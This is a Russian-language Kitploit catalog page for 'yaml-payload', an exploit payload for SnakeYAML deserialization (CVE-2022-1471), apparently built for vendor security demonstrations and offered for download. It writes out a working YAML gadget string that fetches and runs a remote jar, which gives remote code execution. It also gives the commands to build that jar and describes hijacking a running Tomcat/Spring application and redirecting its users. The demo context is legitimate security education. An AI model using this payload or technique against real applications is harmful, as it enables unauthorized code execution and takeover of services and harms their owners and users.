Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
yaml-payload — Эксплойт-пейлоад SnakeYAML CVE-2022-1471 для демонстраций Seal Security | Kitploit
Инструменты/GitHubGitHub/seal-sean-org/yaml-payload
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubseal-sean-org/yaml-payload

yaml-payload

Эксплойт-пейлоад SnakeYAML CVE-2022-1471 для демонстраций Seal Security

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

yaml-payload

Эксплойт-пейлоад для десериализации SnakeYAML для CVE-2022-1471, адаптировано из artsploit/yaml-payload (изначально основано на mbechler/marshalsec).

Что делает

При загрузке через небезопасный Yaml.load() SnakeYAML этот пейлоад перехватывает управление запущенным приложением и заменяет его страницей "You've Been PWNED":

  1. Внедряет Tomcat Valve в запущенное приложение Spring Boot через рефлексию, перехватывая существующий порт 8080 — тот же URL (включая любой туннель ngrok) теперь отдаёт страницу PWNED
  2. Автоматически перенаправляет браузер — ответ на POST отправляет 302 редирект, так что браузер сразу загружает страницу PWNED без ручного обновления
  3. Открывает браузер автоматически по правильному URL (публичный URL ngrok, если доступен, иначе localhost:8080)
  4. Выводит доказательства эксплуатации в консоль/логи CI

Если внедрение Tomcat Valve недоступно (например, не Spring-приложение), переключается на запуск отдельного HTTP-сервера на порту 9999 и автоматически создаёт туннель ngrok, если ngrok запущен.

Это работает как локально на macOS, так и в пайплайнах CI/CD (например, GitHub Actions на Ubuntu).

Как работает цепочка эксплуатации

Пейлоад SnakeYAML запускает ScriptEngineManager через Java SPI (Service Provider Interface):

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML создаёт экземпляр java.net.URL, указывающий на yaml-payload.jar из этого репозитория
  2. Оборачивает его в URLClassLoader для загрузки удалённых классов
  3. ScriptEngineManager обнаруживает и загружает AwesomeScriptEngineFactory через META-INF/services/javax.script.ScriptEngineFactory
  4. Конструктор фабрики внедряет Valve в работающий конвейер Tomcat, заменяя каждый последующий ответ на / страницей PWNED

Сборка

Требуется JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Использование

Используется в качестве пейлоада в проекте maven-demo. Вставьте строку пейлоада в поле имени приложения, чтобы запустить RCE. Страница приложения будет заменена страницей PWNED при следующем запросе. Подробные инструкции по демонстрации см. в README того репозитория.

Скачать инструмент